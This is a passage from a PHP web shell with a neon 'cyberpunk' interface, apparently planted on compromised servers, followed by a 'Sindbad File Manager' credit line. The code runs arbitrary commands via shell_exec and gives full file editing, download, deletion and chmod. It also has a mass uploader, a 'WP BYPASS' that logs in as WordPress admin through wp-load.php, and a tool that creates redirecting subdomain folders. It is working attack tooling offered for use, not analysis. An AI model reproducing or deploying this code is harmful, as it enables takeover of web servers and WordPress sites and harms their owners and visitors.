    .btn-save:hover{background:rgba(0,255,255,0.05);box-shadow:0 0 18px rgba(0,255,255,0.06);}
    .btn-cancel{
        padding:14px 28px;
        background:transparent;
        border:4px solid #ff0044;
        color:#ff0044;
        font-family:'Press Start 2P',monospace;
        font-size:15px;
        letter-spacing:4px;
        cursor:pointer;
        text-decoration:none;
        display:inline-flex;
        align-items:center;
        transition:all 0.15s;
    }
    .btn-cancel:hover{background:rgba(255,0,68,0.04);box-shadow:0 0 18px rgba(255,0,68,0.05);}

    .inline-form{
        display:flex;
        flex-wrap:wrap;
        gap:14px;
        align-items:center;
    }
    .inline-form input[type=text],
    .inline-form input[type=number]{
        background:rgba(10,0,24,0.25);
        border:3px solid rgba(255,0,255,0.08);
        color:#ff00ff;
        padding:12px 16px;
        font-family:'Press Start 2P',monospace;
        font-size:14px;
        outline:none;
        transition:0.15s;
    }
    .inline-form input:focus{border-color:rgba(0,255,255,0.12);}

    .footer-static{
        position:fixed;
        bottom:0;left:0;width:100%;
        background:rgba(10,0,24,0.94);
        border-top:3px solid rgba(255,0,255,0.06);
        padding:10px 0;
        color:rgba(255,0,255,0.10);
        z-index:10;
        text-align:center;
        font-size:11px;
        letter-spacing:5px;
    }

    @media(max-width:768px){
        .container{padding:14px;}
        .btn-neon{padding:12px 20px;font-size:14px;min-width:100px;}
        .btn-neon .ico{font-size:18px;}
        .hero-ascii{font-size:8px;line-height:9px;}
        .hero-logo{width:80px;}
        .hero-sub{font-size:12px;}
        .hero-info{font-size:10px;}
        .action-grid{grid-template-columns:1fr;}
        .section{padding:16px 18px;}
        .term-body{font-size:14px;}
        th,td{padding:10px 12px;font-size:12px;}
        .act-btn{padding:6px 10px;font-size:10px;}
        .file-link{font-size:12px;}
    }
</style>
</head>
<body>
<canvas id="particles"></canvas>
<div class="container">

    <!-- ===== HERO — NEON BORDER GLOW ===== -->
    <div class="hero">
        <img src="<?php echo $logo_url; ?>" class="hero-logo">
        <div class="hero-ascii">██╗░░██╗██╗░░██╗███╗░░██╗
██║░░██║╚██╗██╔╝████╗░██║
███████║░╚███╔╝░██╔██╗██║
██╔══██║░██╔██╗░██║╚████║
██║░░██║██╔╝╚██╗██║░╚███║
╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚══╝</div>
        <div class="hero-sub">8BIT CYBERPUNK // v840.2</div>
        <div class="hero-info">
            <span class="lbl">K</span><?php echo explode(' ', $kernel)[0]; ?><span class="sep">|</span>
            <span class="lbl">S</span><?php echo preg_replace('/\/.*/', '', $server_soft); ?><span class="sep">|</span>
            <span class="lbl">I</span><?php echo $server_ip; ?><span class="sep">|</span>
            <span class="hl">U</span><?php echo $client_ip; ?><span class="sep">|</span>
            <span class="hl">P</span><?php echo $php_ver; ?><span class="sep">|</span>
            <span class="hl">H</span><?php echo $hdd_free; ?>G/<?php echo $hdd_total; ?>G
        </div>
    </div>

    <?php echo $msg; ?>

    <!-- ===== SECTION 1: NAVIGASI ===== -->
    <div class="section">
        <div class="nav-row">
            <a href="?id=@elv&path=<?php echo getcwd(); ?>" class="btn-neon">
                <span class="ico">⌂</span> HOME
            </a>
            <a href="?id=@elv&path=<?php echo $path; ?>&view_mode=terminal" class="btn-neon cyan">
                <span class="ico">></span> TERMINAL
            </a>
            <a href="?id=@elv&path=<?php echo $path; ?>&view_mode=elv_tools" class="btn-neon">
                <span class="ico">⚡</span> E.L.V
            </a>
            <a href="?id=@elv&logout=1" class="btn-neon danger">
                <span class="ico">✕</span> EXIT
            </a>
        </div>
    </div>

    <?php if($view_mode == 'terminal'): ?>
        <!-- ===== SECTION: TERMINAL ===== -->
        <div class="section">
            <div class="term-container">
                <div class="term-header">
                    <span>◆ HXN@<?php echo $server_ip; ?></span>
                    <span>ON</span>
                </div>
                <div class="term-body">
                    <?php if(isset($_POST['cmd'])): ?>
                        <div style="color:#ff00ff;">$ <?php echo htmlspecialchars($_POST['cmd']); ?></div>
                        <pre style="color:#00ffff;margin-top:10px;border-left:4px solid rgba(255,0,255,0.06);padding-left:20px;font-size:15px;line-height:2;"><?php @chdir($path); echo htmlspecialchars(shell_exec($_POST['cmd'].' 2>&1')); ?></pre>
                    <?php else: ?>
                        <div style="color:#00ffff;text-align:center;padding-top:60px;">
                            <div style="font-size:26px;margin-bottom:12px;">◆</div>
                            SYSTEM READY
                        </div>
                    <?php endif; ?>
                </div>
                <form method="POST" class="term-input-wrap">
                    <span class="term-prompt">#</span>
                    <input type="text" name="cmd" class="term-input" autofocus autocomplete="off">
                </form>
            </div>
        </div>

    <?php elseif($view_mode == 'elv_tools'): ?>
        <!-- ===== SECTION: E.L.V TOOLS ===== -->
        <div class="section">
            <h2 style="color:#ff00ff;text-align:center;text-shadow:0 0 12px rgba(255,0,255,0.08);margin-bottom:18px;letter-spacing:6px;font-size:20px;">⚡ E.L.V TOOLS</h2>
            <div class="grid-3">
                <div class="tool-card">
                    <h3>MASS UPLOADER</h3>
                    <form enctype="multipart/form-data" method="POST">
                        <p style="color:#ff00ff;font-size:12px;margin-bottom:6px;">ROOT PATH</p>
                        <input type="text" name="mass_root" value="<?php echo $path; ?>/" style="margin-bottom:10px;font-size:13px;background:rgba(10,0,24,0.25);border:3px solid rgba(255,0,255,0.06);color:#ff00ff;padding:10px 14px;width:100%;font-family:'Press Start 2P',monospace;">
                        <input type="file" name="m_file" style="margin:10px 0;display:block;font-size:13px;">
                        <button type="submit" name="mass_up" class="btn-neon" style="width:100%;margin-top:10px;padding:12px;font-size:14px;">DEPLOY</button>
                    </form>
                    <div style="margin-top:10px;font-size:12px;"><?php echo $mass_log; ?></div>
                </div>
                <div class="tool-card">
                    <h3>WP COMMAND</h3>
                    <a href="?id=@elv&path=<?php echo $path; ?>&view_mode=elv_tools&action=wp_bypass" class="btn-neon cyan" style="width:100%;text-align:center;margin-bottom:10px;padding:12px;font-size:14px;">WP BYPASS</a>
                    <div class="info">Auto login admin WordPress jika wp-load.php ditemukan dalam 5 level ke atas.</div>
                </div>
                <div class="tool-card">
                    <h3>SUBDO OPS</h3>
                    <form method="POST">
                        <p style="color:#ff00ff;font-size:12px;margin-bottom:6px;">SUB NAME</p>
                        <input type="text" name="sub_name" placeholder="sub.domain.com" style="margin-bottom:10px;font-size:13px;background:rgba(10,0,24,0.25);border:3px solid rgba(255,0,255,0.06);color:#ff00ff;padding:10px 14px;width:100%;font-family:'Press Start 2P',monospace;">
                        <button type="submit" name="create_subdo" class="btn-neon" style="width:100%;padding:12px;font-size:14px;">CREATE</button>
                    </form>
                    <div class="info">Membuat folder + index.php auto redirect.</div>
                </div>
            </div>
        </div>

    <?php elseif($view_mode == 'edit'): $t = $_GET['target']; $ext = pathinfo($t, PATHINFO_EXTENSION); ?>
        <!-- ===== SECTION: EDITOR ===== -->
        <div class="section">
            <div class="editor-wrap">
                <div class="editor-header">
                    <span class="fn">✦ EDIT: <?php echo basename($t); ?></span>
                    <span class="lang"><?php echo strtoupper($ext ?: '?'); ?></span>
                </div>
                <div class="syntax-editor-container">
                    <form method="POST" id="editForm">
                        <input type="hidden" name="edit_target" value="<?php echo $t; ?>">
                        <div style="position:relative;min-height:450px;">
                            <pre id="highlightOutput"><code class="<?php echo $ext ? 'language-'.htmlspecialchars($ext) : ''; ?>" id="highlightCode"><?php echo htmlspecialchars(file_get_contents($t)); ?></code></pre>
                            <textarea name="new_content" id="codeEditor" spellcheck="false" oninput="updateHighlight()" onscroll="syncScroll()"><?php echo htmlspecialchars(file_get_contents($t)); ?></textarea>
                        </div>
                        <div class="editor-actions">
                            <a href="?id=@elv&path=<?php echo $path; ?>" class="btn-cancel">CANCEL</a>
                            <button type="submit" class="btn-save">SAVE</button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
        <script>
        function updateHighlight(){
            const code = document.getElementById('codeEditor');
            const out = document.getElementById('highlightCode');
            const pre = document.getElementById('highlightOutput');
            out.textContent = code.value;
            hljs.highlightElement(out);
            pre.scrollTop = code.scrollTop;
            pre.scrollLeft = code.scrollLeft;
        }
        function syncScroll(){
            const code = document.getElementById('codeEditor');
            const pre = document.getElementById('highlightOutput');
            pre.scrollTop = code.scrollTop;
            pre.scrollLeft = code.scrollLeft;
        }
        document.addEventListener('DOMContentLoaded', function(){
            hljs.highlightElement(document.getElementById('highlightCode'));
        });
        document.getElementById('codeEditor').addEventListener('keydown', function(e){
            if(e.key === 'Tab'){
                e.preventDefault();
                const start = this.selectionStart;
                const end = this.selectionEnd;
                this.value = this.value.substring(0, start) + '    ' + this.value.substring(end);
                this.selectionStart = this.selectionEnd = start + 4;
                updateHighlight();
            }
        });
        </script>

    <?php elseif($view_mode == 'chmod'): $t = $_GET['target']; ?>
        <!-- ===== SECTION: CHMOD ===== -->
        <div class="section">
            <h3 style="color:#ffff00;margin-bottom:14px;font-size:17px;letter-spacing:4px;">✦ CHMOD — <?php echo basename($t); ?></h3>
            <form method="POST" class="inline-form">
                <input type="hidden" name="chmod_target" value="<?php echo $t; ?>">
                <input type="text" name="new_chmod" placeholder="755" style="width:120px;">
                <button type="submit" class="btn-neon" style="padding:12px 24px;font-size:14px;">SET</button>
                <a href="?id=@elv&path=<?php echo $path; ?>" class="btn-neon warning" style="padding:12px 24px;font-size:14px;">CANCEL</a>
            </form>
        </div>

    <?php elseif($view_mode == 'rename'): $t = $_GET['target']; ?>
        <!-- ===== SECTION: RENAME ===== -->
        <div class="section">
            <h3 style="color:#00ffff;margin-bottom:14px;font-size:17px;letter-spacing:4px;">✦ RENAME — <?php echo basename($t); ?></h3>
            <form method="POST" class="inline-form">
                <input type="hidden" name="old_name" value="<?php echo $t; ?>">
                <input type="text" name="new_name" value="<?php echo basename($t); ?>" style="flex:1;min-width:200px;">
                <button type="submit" name="rename_do" class="btn-neon" style="padding:12px 24px;font-size:14px;">RENAME</button>
                <a href="?id=@elv&path=<?php echo $path; ?>" class="btn-neon warning" style="padding:12px 24px;font-size:14px;">CANCEL</a>
            </form>
        </div>

    <?php else: ?>
        <!-- ===== SECTION 3: PAGE UP — DIPINDAHKAN KE PALING ATAS ===== -->
        <div class="section" style="padding:16px 18px;margin-bottom:22px;">
            <a href="?id=@elv&path=<?php echo $parent_dir; ?>" class="page-up-btn">▲ PAGE UP</a>
        </div>

        <!-- ===== SECTION 4: PATH DIRECTORY ===== -->
        <div class="section" style="padding:14px 20px;">
            <div class="path-bar">
                <span style="color:#ff00ff;margin-right:8px;font-size:15px;">FS:</span> 
                <a href="?id=@elv&path=/" class="nav-link">#</a>
                <?php 
                $accum = '';
                $dirs = explode('/', trim($path, '/'));
                foreach ($dirs as $p) { 
                    if($p=="")continue; 
                    $accum .= '/' . $p; 
                    echo '<span class="path-sep">▶</span><a href="?id=@elv&path='.$accum.'" class="nav-link">'.$p.'</a>'; 
                }
                ?>
            </div>
        </div>

        <!-- ===== SECTION 5: UPLOAD + CREATE (DIPISAH & DIPERBESAR) ===== -->
        <div class="section">
            <div class="action-grid">
                <div class="upload-card">
                    <div class="upload-label">📤 UPLOAD FILE</div>
                    <form enctype="multipart/form-data" method="POST">
                        <input type="file" name="up_file">
                        <button type="submit" class="btn-neon" style="padding:14px 24px;font-size:15px;min-width:auto;width:100%;">↑ DEPLOY</button>
                    </form>
                </div>
                <div class="create-card">
                    <div class="ctitle">+ CREATE FILE</div>
                    <form method="POST">
                        <input type="text" name="new_file_name" placeholder="nama file">
                        <button type="submit" class="qbtn">CREATE</button>
                    </form>
                </div>
                <div class="create-card">
                    <div class="ctitle">+ CREATE DIR</div>
                    <form method="POST">
                        <input type="text" name="new_folder_name" placeholder="nama folder">
                        <button type="submit" class="qbtn">MKDIR</button>
                    </form>
                </div>
            </div>
        </div>

        <!-- ===== SECTION 6: FILE TABLE ===== -->
        <div class="section">
            <div class="table-wrap">
                <table>
                    <thead><tr><th>NAME</th><th>SIZE</th><th>PERMS</th><th>ACTIONS</th></tr></thead>
                    <tbody>
                    <?php
                    $items = scandir($path);
                    foreach($items as $f){
                        if($f=="."||$f=="..") continue; $full=$path.'/'.$f; if (!file_exists($full)) continue;
                        $is_d=is_dir($full); $prm=perms($full); 
                        $fsize = $is_d ? "DIR" : round(filesize($full)/1024,2)." KB";
                        
                        $is_w = is_writable($full);
                        $perms_class = $is_w ? 'perms-green' : 'perms-red';
                        $file_color_class = $is_w ? 'green' : 'red';
                        if ($is_d) $file_color_class = 'cyan';
                        
                        if ($is_d) {
                            $link = "?id=@elv&path=$full";
                            $icon = "▣";
                        } else {
                            $link = "?id=@elv&path=$path&view_mode=edit&target=$full";
                            $icon = "◈";
                        }
                        
                        echo "<tr>
                            <td><a href='$link' class='file-link $file_color_class'>$icon $f</a></td>
                            <td class='size-col'>$fsize</td>
                            <td><span class='$perms_class'>$prm</span></td>
                            <td>
                                <div class='act-group'>";
                        
                        if(!$is_d){
                            echo "<a href='?id=@elv&path=$path&view_mode=edit&target=$full' class='act-btn edit'>ED</a>";
                            echo "<a href='?id=@elv&download=$full' class='act-btn get'>DL</a>";
                        }
                        echo "<a href='?id=@elv&path=$path&view_mode=rename&target=$full' class='act-btn ren'>RN</a>";
                        echo "<a href='?id=@elv&path=$path&view_mode=chmod&target=$full' class='act-btn mod'>MD</a>";
                        echo "<a href='?id=@elv&path=$path&del=$full' class='act-btn del' onclick='return confirm(\"KILL?\")'>RM</a>
                                </div>
                            </td></tr>";
                    }
                    ?>
                    </tbody>
                </table>
            </div>
        </div>
    <?php endif; ?>

    <div class="footer-static">HXN // 8BIT CYBERPUNK v840.2 // ROOT ACCESS</div>
</div>

<script>
    const c=document.getElementById('particles'),ctx=c.getContext('2d');
    c.height=innerHeight;c.width=innerWidth;
    const p=[];
    for(let i=0;i<55;i++){
        p.push({
            x:Math.random()*c.width,y:Math.random()*c.height,
            vx:(Math.random()-0.5)*0.5,vy:(Math.random()-0.5)*0.5,
            s:Math.random()*2+1
        });
    }
    function draw(){
        ctx.fillStyle='rgba(10,0,24,0.06)';ctx.fillRect(0,0,c.width,c.height);
        p.forEach(pp=>{
            ctx.fillStyle=Math.random()>0.5?'#ff00ff':'#00ffff';
            ctx.fillRect(Math.floor(pp.x/4)*4,Math.floor(pp.y/4)*4,Math.max(pp.s*2,2),Math.max(pp.s*2,2));
            pp.x+=pp.vx;pp.y+=pp.vy;
            if(pp.x<0||pp.x>c.width)pp.vx*=-1;
            if(pp.y<0||pp.y>c.height)pp.vy*=-1;
        });
        requestAnimationFrame(draw);
    }
    draw();
    window.addEventListener('resize',()=>{c.height=innerHeight;c.width=innerWidth;});
</script>
</body>
</html>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists